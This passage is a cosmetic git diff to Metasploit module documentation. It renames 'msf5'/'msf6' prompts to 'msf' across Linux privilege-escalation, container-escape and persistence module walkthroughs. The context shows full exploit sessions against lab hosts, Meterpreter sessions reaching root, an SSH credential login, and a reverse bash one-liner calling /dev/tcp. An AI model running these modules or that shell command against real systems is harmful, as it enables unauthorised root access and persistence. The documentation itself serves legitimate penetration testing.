exploit(multi/handler) > use exploit/linux/local/docker_privileged_container_escape +msf exploit(linux/local/lxc_privilege_escalation) > set session 1 session => 1 -msf5 exploit(linux/local/lxc_privilege_escalation) > run +msf exploit(linux/local/lxc_privilege_escalation) > run [*] Started reverse TCP handler on 10.0.2.15:4444 [*] Writing payload executable to '/tmp/aLQdBKpMXLo' diff --git a/documentation/modules/exploit/linux/local/docker_privileged_container_kernel_escape.md b/documentation/modules/exploit/linux/local/docker_privileged_container_kernel_escape.md index 7b97693bc845f..55a0143808073 100644 --- a/documentation/modules/exploit/linux/local/docker_privileged_container_kernel_escape.md +++ b/documentation/modules/exploit/linux/local/docker_privileged_container_kernel_escape.md @@ -10,14 +10,14 @@ headers are available to compile on the target, then we can escape onto the host - Install Docker - Run a listener (can be anything but this example will make use of the msfconsole `cmd/unix/reverse_bash` payload) ```msf -msf6 > use payload/cmd/unix/reverse_bash -msf6 payload(cmd/unix/reverse_bash) > set lhost vboxnet0 +msf > use payload/cmd/unix/reverse_bash +msf payload(cmd/unix/reverse_bash) > set lhost vboxnet0 lhost => 192.168.56.1 -msf6 payload(cmd/unix/reverse_bash) > generate -f raw +msf payload(cmd/unix/reverse_bash) > generate -f raw bash -c '0<&118-;exec 118<>/dev/tcp/192.168.56.1/4444;sh <&118 >&118 2>&118' -msf6 payload(cmd/unix/reverse_bash) > exploit -z +msf payload(cmd/unix/reverse_bash) > exploit -z [*] Payload Handler Started as Job 0 -msf6 payload(cmd/unix/reverse_bash) > +msf payload(cmd/unix/reverse_bash) > [*] [2023.11.07-21:28:57] Started reverse TCP handler on 192.168.56.1:4444 ``` - Create a privileged container (forwarding port 4444 in this example in order @@ -62,15 +62,15 @@ Rebuilds and reloads kernel module if its already loaded in case of repeat runs. ### Container Escape from debian linux with reverse bash ```msf -msf6 > sessions -i 1 -c "apt update && apt install -y gcc make kmod linux-headers-$(uname -r)" +msf > sessions -i 1 -c "apt update && apt install -y gcc make kmod linux-headers-$(uname -r)" [*] Running 'apt update && apt install -y gcc make kmod linux-headers-$(uname -r)' on shell session 1 (192.168.56.126) -msf6 > use exploit/linux/local/docker_privileged_container_kernel_escape +msf > use exploit/linux/local/docker_privileged_container_kernel_escape [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set session 1 +msf exploit(linux/local/docker_privileged_container_kernel_escape) > set session 1 session => 1 -msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > check +msf exploit(linux/local/docker_privileged_container_kernel_escape) > check [*] The target appears to be vulnerable. Inside Docker container and target appears vulnerable -msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z +msf exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z [*] [2023.11.07-21:42:40] Started reverse TCP handler on 192.168.56.1:4444 [*] [2023.11.07-21:42:42] Creating files... @@ -84,19 +84,19 @@ msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z ### Container Escape from arch linux with meterpreter ```msf -msf6 > sessions -i 2 -c "pacman -Syy --noconfirm gcc glibc make linux-headers" +msf > sessions -i 2 -c "pacman -Syy --noconfirm gcc glibc make linux-headers" [*] Running 'pacman -Syy --noconfirm gcc glibc make linux-headers' on shell session 2 (192.168.56.106) -msf6 > use exploit/linux/local/docker_privileged_container_kernel_escape +msf > use exploit/linux/local/docker_privileged_container_kernel_escape [*] Using configured payload cmd/unix/reverse_bash -msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set session 2 +msf exploit(linux/local/docker_privileged_container_kernel_escape) > set session 2 session => 2 -msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(linux/local/docker_privileged_container_kernel_escape) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp payload => cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > set lhost vboxnet0 +msf exploit(linux/local/docker_privileged_container_kernel_escape) > set lhost vboxnet0 lhost => vboxnet0 -msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > check +msf exploit(linux/local/docker_privileged_container_kernel_escape) > check [*] The target appears to be vulnerable. Inside Docker container and target appears vulnerable -msf6 exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z +msf exploit(linux/local/docker_privileged_container_kernel_escape) > exploit -z [*] [2023.11.07-21:48:40] Started reverse TCP handler on 192.168.56.1:4444 [*] [2023.11.07-21:48:41] Creating files... diff --git a/documentation/modules/exploit/linux/local/docker_runc_escape.md b/documentation/modules/exploit/linux/local/docker_runc_escape.md index ec4262e86c8e1..0bc28b8689f07 100644 --- a/documentation/modules/exploit/linux/local/docker_runc_escape.md +++ b/documentation/modules/exploit/linux/local/docker_runc_escape.md @@ -101,7 +101,7 @@ A directory where you can write files. Default is `/tmp`. ## Docker version 18.03.1-ce (build 9ee9f40) on Ubuntu 18.04.5 LTS ``` -msf6 exploit(linux/local/docker_runc_escape) > options +msf exploit(linux/local/docker_runc_escape) > options Module options (exploit/linux/local/docker_runc_escape): @@ -128,7 +128,7 @@ Exploit target: 1 Linux (Dropper) x64 -msf6 exploit(linux/local/docker_runc_escape) > run +msf exploit(linux/local/docker_runc_escape) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 192.168.144.1:4455 @@ -163,7 +163,7 @@ meterpreter > [*] Shutting down Meterpreter... ## Docker version 18.03.1-ce (build 9ee9f40) on Fedora 28 x64 ``` -msf6 exploit(linux/local/docker_runc_escape) > options +msf exploit(linux/local/docker_runc_escape) > options Module options (exploit/linux/local/docker_runc_escape): @@ -190,7 +190,7 @@ Exploit target: 1 Linux (Dropper) x64 -msf6 exploit(linux/local/docker_runc_escape) > run +msf exploit(linux/local/docker_runc_escape) > run [!] SESSION may not be compatible with this module. [*] Started reverse TCP handler on 192.168.144.1:4455 diff --git a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md index 6a84a2c0dc633..c1e7b6827f292 100644 --- a/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md +++ b/documentation/modules/exploit/linux/local/exim4_deliver_message_priv_esc.md @@ -56,20 +56,20 @@ meterpreter > getuid Server username: uid=1000, gid=1000, euid=1000, egid=1000 meterpreter > Background session 1? [y/N] -msf5 exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc -msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set session 1 +msf exploit(multi/handler) > use exploit/linux/local/exim4_deliver_message_priv_esc +msf exploit(linux/local/exim4_deliver_message_priv_esc) > set session 1 session => 1 -msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lhost 192.168.0.50 +msf exploit(linux/local/exim4_deliver_message_priv_esc) > set lhost 192.168.0.50 lhost => 192.168.0.50 -msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set lport 13371 +msf exploit(linux/local/exim4_deliver_message_priv_esc) > set lport 13371 lport => 13371 -msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp +msf exploit(linux/local/exim4_deliver_message_priv_esc) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp -msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > set EXIMPATH /usr/exim/bin/exim +msf exploit(linux/local/exim4_deliver_message_priv_esc) > set EXIMPATH /usr/exim/bin/exim EXIMPATH => /usr/exim/bin/exim -msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > check +msf exploit(linux/local/exim4_deliver_message_priv_esc) > check [*] The target appears to be vulnerable. -msf5 exploit(linux/local/exim4_deliver_message_priv_esc) > exploit +msf exploit(linux/local/exim4_deliver_message_priv_esc) > exploit [*] Started reverse TCP handler on 192.168.0.50:13371 [*] Payload sent, wait a few seconds... diff --git a/documentation/modules/exploit/linux/local/f5_create_user.md b/documentation/modules/exploit/linux/local/f5_create_user.md index 487bb209074ec..11a008d844d82 100644 --- a/documentation/modules/exploit/linux/local/f5_create_user.md +++ b/documentation/modules/exploit/linux/local/f5_create_user.md @@ -41,16 +41,16 @@ First, get a non-root session however you can. You can use a `multi/handler` and `msfvenom`: ``` -msf6 > use multi/handler +msf > use multi/handler [*] Using configured payload generic/shell_reverse_tcp -msf6 exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp +msf exploit(multi/handler) > set PAYLOAD linux/x64/meterpreter_reverse_tcp PAYLOAD => linux/x64/meterpreter_reverse_tcp -msf6 exploit(multi/handler) > set LHOST 10.0.0.179 +msf exploit(multi/handler) > set LHOST 10.0.0.179 LHOST => 10.0.0.179 -msf6 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [*] Meterpreter session 1 opened (10.0.0.179:4444 -> 10.0.0.162:34140) at 2022-11-14 15:59:49 -0800 @@ -61,7 +61,7 @@ Server username: apache meterpreter > bg -msf6 exploit(multi/handler) > setg SESSION 1 +msf exploit(multi/handler) > setg SESSION 1 SESSION => 1 ``` @@ -80,9 +80,9 @@ testexploit.elf Now that we have a session, we can just run the module: ``` -msf6 exploit(multi/handler) > use exploit/linux/local/f5_create_user +msf exploit(multi/handler) > use exploit/linux/local/f5_create_user [*] No payload configured, defaulting to cmd/unix/python/meterpreter/reverse_tcp -msf6 exploit(linux/local/f5_create_user) > exploit +msf exploit(linux/local/f5_create_user) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [*] Will attempt to create user 7yI5vLIK / woquVd36PhcG, then change password to 9d9s83bBPwu5 when creating a session @@ -100,13 +100,13 @@ Server username: root Create a session as shown above, then: ``` -msf6 exploit(linux/local/f5_create_user) > set USERNAME mymsfdemouser +msf exploit(linux/local/f5_create_user) > set USERNAME mymsfdemouser USERNAME => mymsfdemouser -msf6 exploit(linux/local/f5_create_user) > set PASSWORD mybigmsfdemopassword +msf exploit(linux/local/f5_create_user) > set PASSWORD mybigmsfdemopassword PASSWORD => mybigmsfdemopassword -msf6 exploit(linux/local/f5_create_user) > set VERBOSE true +msf exploit(linux/local/f5_create_user) > set VERBOSE true VERBOSE => true -msf6 exploit(linux/local/f5_create_user) > exploit +msf exploit(linux/local/f5_create_user) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [*] Will attempt to create user mymsfdemouser / QVEE0pqM7pAd, then change password to mybigmsfdemopassword when creating a session @@ -127,9 +127,9 @@ Server username: root Get a session as shown above, then: ``` -msf6 exploit(linux/local/f5_create_user) > set CREATE_SESSION false +msf exploit(linux/local/f5_create_user) > set CREATE_SESSION false CREATE_SESSION => false -msf6 exploit(linux/local/f5_create_user) > exploit +msf exploit(linux/local/f5_create_user) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [*] Will attempt to create user hKjGGrlU / yRQijFQjVjqa @@ -143,13 +143,13 @@ msf6 exploit(linux/local/f5_create_user) > exploit Get a session as shown above, then: ``` -msf6 exploit(linux/local/f5_create_user) > set CREATE_SESSION false +msf exploit(linux/local/f5_create_user) > set CREATE_SESSION false CREATE_SESSION => false -msf6 exploit(linux/local/f5_create_user) > set USERNAME mymsfdemouser2 +msf exploit(linux/local/f5_create_user) > set USERNAME mymsfdemouser2 USERNAME => mymsfdemouser2 -msf6 exploit(linux/local/f5_create_user) > set PASSWORD mybigmsfdemopassword +msf exploit(linux/local/f5_create_user) > set PASSWORD mybigmsfdemopassword PASSWORD => mybigmsfdemopassword -msf6 exploit(linux/local/f5_create_user) > exploit +msf exploit(linux/local/f5_create_user) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [*] Will attempt to create user mymsfdemouser2 / mybigmsfdemopassword diff --git a/documentation/modules/exploit/linux/local/gameoverlay_privesc.md b/documentation/modules/exploit/linux/local/gameoverlay_privesc.md index 0630406fe0ca5..a12fb6b2f489f 100644 --- a/documentation/modules/exploit/linux/local/gameoverlay_privesc.md +++ b/documentation/modules/exploit/linux/local/gameoverlay_privesc.md @@ -79,13 +79,13 @@ module will automatically run checks to determine if the system is vulnerable, y this with `set AutoCheck False`. ``` -msf6 exploit(linux/local/gameoverlay_privesc) > +msf exploit(linux/local/gameoverlay_privesc) > [*] Sending stage (3045380 bytes) to 10.5.132.129 [*] Meterpreter session 3 opened (10.5.135.201:4585 -> 10.5.132.129:33504) at 2024-12-18 14:02:15 -0600 -msf6 exploit(linux/local/gameoverlay_privesc) > set session 3 +msf exploit(linux/local/gameoverlay_privesc) > set session 3 session => 3 -msf6 exploit(linux/local/gameoverlay_privesc) > show options +msf exploit(linux/local/gameoverlay_privesc) > show options Module options (exploit/linux/local/gameoverlay_privesc): @@ -114,7 +114,7 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/local/gameoverlay_privesc) > run +msf exploit(linux/local/gameoverlay_privesc) > run [*] Started reverse TCP handler on 10.5.135.201:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/glibc_realpath_priv_esc.md b/documentation/modules/exploit/linux/local/glibc_realpath_priv_esc.md index d5caa3eeda446..12576f63e3dbd 100644 --- a/documentation/modules/exploit/linux/local/glibc_realpath_priv_esc.md +++ b/documentation/modules/exploit/linux/local/glibc_realpath_priv_esc.md @@ -53,10 +53,10 @@ ## Scenarios ``` - msf5 > use exploit/linux/local/glibc_realpath_priv_esc - msf5 exploit(linux/local/glibc_realpath_priv_esc) > set session 1 + msf > use exploit/linux/local/glibc_realpath_priv_esc + msf exploit(linux/local/glibc_realpath_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/glibc_realpath_priv_esc) > run + msf exploit(linux/local/glibc_realpath_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.DhRxy0FQR.c' (35470 bytes) ... diff --git a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md index ce27602914038..2f23ff3498f34 100644 --- a/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md +++ b/documentation/modules/exploit/linux/local/glibc_tunables_priv_esc.md @@ -58,15 +58,15 @@ The target should be exploitable. ### Ubuntu 22.04.3 with 2.35-0ubuntu3.1 installed (ARCH_X64) ``` -msf6 exploit(linux/local/glibc_tunables_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp +msf exploit(linux/local/glibc_tunables_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/glibc_tunables_priv_esc) > set session -1 +msf exploit(linux/local/glibc_tunables_priv_esc) > set session -1 session => -1 -msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1 +msf exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555 +msf exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555 lport => 5555 -msf6 exploit(linux/local/glibc_tunables_priv_esc) > options +msf exploit(linux/local/glibc_tunables_priv_esc) > options Module options (exploit/linux/local/glibc_tunables_priv_esc): @@ -90,7 +90,7 @@ Exploit target: -- ---- 0 Auto -msf6 exploit(linux/local/glibc_tunables_priv_esc) > run +msf exploit(linux/local/glibc_tunables_priv_esc) > run View the full module info with the info, or info -d command. @@ -116,7 +116,7 @@ meterpreter > ### Debian 12 with 2.36-9-deb12u1 installed (ARCH_X64) ``` -msf6 exploit(linux/local/glibc_tunables_priv_esc) > options +msf exploit(linux/local/glibc_tunables_priv_esc) > options Module options (exploit/linux/local/glibc_tunables_priv_esc): @@ -143,11 +143,11 @@ Exploit target: View the full module info with the info, or info -d command. -msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555 +msf exploit(linux/local/glibc_tunables_priv_esc) > set lport 5555 lport => 5555 -msf6 exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1 +msf exploit(linux/local/glibc_tunables_priv_esc) > set lhost 192.168.123.1 lhost => 192.168.123.1 -msf6 exploit(linux/local/glibc_tunables_priv_esc) > run +msf exploit(linux/local/glibc_tunables_priv_esc) > run [*] Started reverse TCP handler on 192.168.123.1:5555 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md b/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md index 979e3f67721a3..ee8d99c254e09 100644 --- a/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md +++ b/documentation/modules/exploit/linux/local/hp_xglance_priv_esc.md @@ -175,7 +175,7 @@ Path to the `xglance-bin` executable. Default is `/opt/perf/bin/xglance-bin`. [*] Auxiliary module execution completed ``` ``` - msf5 exploit(linux/local/hp_xglance_priv_esc) > rexploit + msf exploit(linux/local/hp_xglance_priv_esc) > rexploit [*] Reloading module... [!] SESSION may not be compatible with this module. diff --git a/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md b/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md index 2ce5b0154136d..933be480ed07d 100644 --- a/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md +++ b/documentation/modules/exploit/linux/local/ktsuss_suid_priv_esc.md @@ -43,21 +43,21 @@ ### ktsuss 1.3 on SparkyLinux 5.8 (LXQT) (x64) ``` - msf5 > use exploit/linux/local/ktsuss_suid_priv_esc - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1 + msf > use exploit/linux/local/ktsuss_suid_priv_esc + msf exploit(linux/local/ktsuss_suid_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true + msf exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check + msf exploit(linux/local/ktsuss_suid_priv_esc) > check [+] /usr/bin/ktsuss is setuid [*] uid=1001(test) gid=1001(test) euid=0(root) groups=1001(test) [+] The target is vulnerable. - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + msf exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165 + msf exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run + msf exploit(linux/local/ktsuss_suid_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] /usr/bin/ktsuss is setuid @@ -83,21 +83,21 @@ ### ktsuss 1.3 on SparkyLinux 6 (2019.08) (LXQT) (x64) ``` - msf5 > use exploit/linux/local/ktsuss_suid_priv_esc - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set session 1 + msf > use exploit/linux/local/ktsuss_suid_priv_esc + msf exploit(linux/local/ktsuss_suid_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true + msf exploit(linux/local/ktsuss_suid_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > check + msf exploit(linux/local/ktsuss_suid_priv_esc) > check [+] /usr/bin/ktsuss is setuid [*] uid=1001(test) gid=1002(test) euid=0(root) groups=1002(test) [+] The target is vulnerable. - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + msf exploit(linux/local/ktsuss_suid_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165 + msf exploit(linux/local/ktsuss_suid_priv_esc) > set lhost 172.16.191.165 lhost => 172.16.191.165 - msf5 exploit(linux/local/ktsuss_suid_priv_esc) > run + msf exploit(linux/local/ktsuss_suid_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.165:4444 [+] /usr/bin/ktsuss is setuid diff --git a/documentation/modules/exploit/linux/local/libuser_roothelper_priv_esc.md b/documentation/modules/exploit/linux/local/libuser_roothelper_priv_esc.md index 49257dff7f276..e455adf27714d 100644 --- a/documentation/modules/exploit/linux/local/libuser_roothelper_priv_esc.md +++ b/documentation/modules/exploit/linux/local/libuser_roothelper_priv_esc.md @@ -76,11 +76,11 @@ ### libuser 0.56.13-5.el6 on Red Hat 6.6 (x86_64) ``` - msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1 + msf exploit(linux/local/libuser_roothelper_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password + msf exploit(linux/local/libuser_roothelper_priv_esc) > set password password password => password - msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run + msf exploit(linux/local/libuser_roothelper_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.QQ4pE9nj.c' (29342 bytes) ... @@ -103,11 +103,11 @@ ### libuser 0.60-5.el7 on CentOS 7.1-1503 (x86_64) ``` - msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1 + msf exploit(linux/local/libuser_roothelper_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password + msf exploit(linux/local/libuser_roothelper_priv_esc) > set password password password => password - msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run + msf exploit(linux/local/libuser_roothelper_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.Ake5GA' (103396 bytes) ... @@ -130,11 +130,11 @@ ### libuser 0.60-6.fc21 on Fedora Desktop 21 (x86_64) ``` - msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set session 1 + msf exploit(linux/local/libuser_roothelper_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/libuser_roothelper_priv_esc) > set password password + msf exploit(linux/local/libuser_roothelper_priv_esc) > set password password password => password - msf5 exploit(linux/local/libuser_roothelper_priv_esc) > run + msf exploit(linux/local/libuser_roothelper_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [*] Writing '/tmp/.ByQC9FHS.c' (29342 bytes) ... diff --git a/documentation/modules/exploit/linux/local/motd_persistence.md b/documentation/modules/exploit/linux/local/motd_persistence.md index e5390d9a95972..c1890d1795691 100644 --- a/documentation/modules/exploit/linux/local/motd_persistence.md +++ b/documentation/modules/exploit/linux/local/motd_persistence.md @@ -12,17 +12,17 @@ To trigger the persistence execution, an external event such as a user logging i ## Module usage ``` -msf6 payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence +msf payload(cmd/linux/http/x64/meterpreter/reverse_tcp) > use exploit/linux/local/motd_persistence [*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp -msf6 exploit(linux/local/motd_persistence) > set session -1 +msf exploit(linux/local/motd_persistence) > set session -1 session => -1 -msf6 exploit(linux/local/motd_persistence) > exploit +msf exploit(linux/local/motd_persistence) > exploit [*] /etc/update-motd.d/99-check-updates written -msf6 exploit(linux/local/motd_persistence) > +msf exploit(linux/local/motd_persistence) > [*] Sending stage (3045380 bytes) to 172.18.49.39 [*] Meterpreter session 2 opened (172.18.52.45:4444 -> 172.18.49.39:41848) at 2024-09-13 03:59:47 -0400 -msf6 exploit(linux/local/motd_persistence) > sessions -i -1 +msf exploit(linux/local/motd_persistence) > sessions -i -1 [*] Starting interaction with 2... meterpreter > getuid diff --git a/documentation/modules/exploit/linux/local/nested_namespace_idmap_limit_priv_esc.md b/documentation/modules/exploit/linux/local/nested_namespace_idmap_limit_priv_esc.md index 0d73624685c7c..2fa286508c852 100644 --- a/documentation/modules/exploit/linux/local/nested_namespace_idmap_limit_priv_esc.md +++ b/documentation/modules/exploit/linux/local/nested_namespace_idmap_limit_priv_esc.md @@ -74,23 +74,23 @@ The executables were cross-compiled with [musl-cross](https://s3.amazonaws.com/m ### Fedora Workstation 28 (verbose output) ``` - msf5 > use exploit/linux/local/nested_namespace_idmap_limit_priv_esc - msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp + msf > use exploit/linux/local/nested_namespace_idmap_limit_priv_esc + msf exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set payload linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp - msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set session 1 + msf exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set lhost 172.16.191.188 + msf exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set lhost 172.16.191.188 lhost => 172.16.191.188 - msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set verbose true + msf exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > set verbose true verbose => true - msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > check + msf exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > check [+] Unprivileged user namespaces are permitted [+] /usr/bin/newuidmap is set-uid [+] /usr/bin/newgidmap is set-uid [+] Kernel version 4.16.3-301.fc28.x86_64 appears to be vulnerable [*] The target appears to be vulnerable. - msf5 exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > run + msf exploit(linux/local/nested_namespace_idmap_limit_priv_esc) > run [*] Started reverse TCP handler on 172.16.191.188:4444 [+] Unprivileged user namespaces are permitted diff --git a/documentation/modules/exploit/linux/local/netfilter_nft_set_elem_init_privesc.md b/documentation/modules/exploit/linux/local/netfilter_nft_set_elem_init_privesc.md index 9bf2e8112588b..f0f2cb6468c5e 100644 --- a/documentation/modules/exploit/linux/local/netfilter_nft_set_elem_init_privesc.md +++ b/documentation/modules/exploit/linux/local/netfilter_nft_set_elem_init_privesc.md @@ -52,27 +52,27 @@ in `/tmp`. This file is a bash script that adds the setuid bit to the payload up ### Ubuntu 21.10 x64 With Linux 5.13.0.37-Generic ``` -msf6 > use auxiliary/scanner/ssh/ssh_login -msf6 auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.40 +msf > use auxiliary/scanner/ssh/ssh_login +msf auxiliary(scanner/ssh/ssh_login) > set rhosts 192.168.0.40 rhosts => 192.168.0.40 -msf6 auxiliary(scanner/ssh/ssh_login) > set username redouane +msf auxiliary(scanner/ssh/ssh_login) > set username redouane username => redouane -msf6 auxiliary(scanner/ssh/ssh_login) > set password user +msf auxiliary(scanner/ssh/ssh_login) > set password user password => user -msf6 auxiliary(scanner/ssh/ssh_login) > run +msf auxiliary(scanner/ssh/ssh_login) > run [*] 192.168.0.40:22 - Starting bruteforce [+] 192.168.0.40:22 - Success: 'redouane:user' 'uid=1000(redouane) gid=1000(redouane) groupes=1000(redouane),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),122(lpadmin),134(lxd),135(sambashare) Linux hopeful-zhukovky 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux ' [*] SSH session 1 opened (192.168.0.32:46499 -> 192.168.0.40:22) at 2022-07-22 02:44:56 +0200 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/netfilter_nft_set_elem_init_privesc +msf auxiliary(scanner/ssh/ssh_login) > use exploit/linux/local/netfilter_nft_set_elem_init_privesc [*] Using configured payload linux/x64/shell_reverse_tcp -msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set lhost wlan0 +msf exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set lhost wlan0 lhost => wlan0 -msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set session 1 +msf exploit(linux/local/netfilter_nft_set_elem_init_privesc) > set session 1 session => 1 -msf6 exploit(linux/local/netfilter_nft_set_elem_init_privesc) > run +msf exploit(linux/local/netfilter_nft_set_elem_init_privesc) > run [!] SESSION may not be compatible with this module: [!] * incompatible session architecture: diff --git a/documentation/modules/exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc.md b/documentation/modules/exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc.md index 421d162192e6f..2e8795b894964 100644 --- a/documentation/modules/exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc.md +++ b/documentation/modules/exploit/linux/local/netfilter_xtables_heap_oob_write_priv_esc.md @@ -40,7 +40,7 @@ The vulnerability was discovered by Andy Nguyen [@theflow0](https://twitter.com/ ## Scenarios ``` -msf6 exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > run +msf exploit(linux/local/netfilter_xtables_heap_oob_write_priv_esc) > run [*] Started reverse TCP handler on 192.168.1.145:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/linux/local/network_manager_vpnc_username_priv_esc.md b/documentation/modules/exploit/linux/local/network_manager_vpnc_username_priv_esc.md index a9e5057576a3f..46f59b090d9d6 100644 --- a/documentation/modules/exploit/linux/local/network_manager_vpnc_username_priv_esc.md +++ b/documentation/modules/exploit/linux/local/network_manager_vpnc_username_priv_esc.md @@ -56,14 +56,14 @@ ## Scenarios ``` - msf5 > use exploit/linux/local/network_manager_vpnc_username_priv_esc - msf5 exploit(linux/local/network_manager_vpnc_username_priv_esc) > set session 1 + msf > use exploit/linux/local/network_manager_vpnc_username_priv_esc + msf exploit(linux/local/network_manager_vpnc_username_priv_esc) > set session 1 session => 1 - msf5 exploit(linux/local/network_manager_vpnc_username_priv_esc) > set verbose true + msf 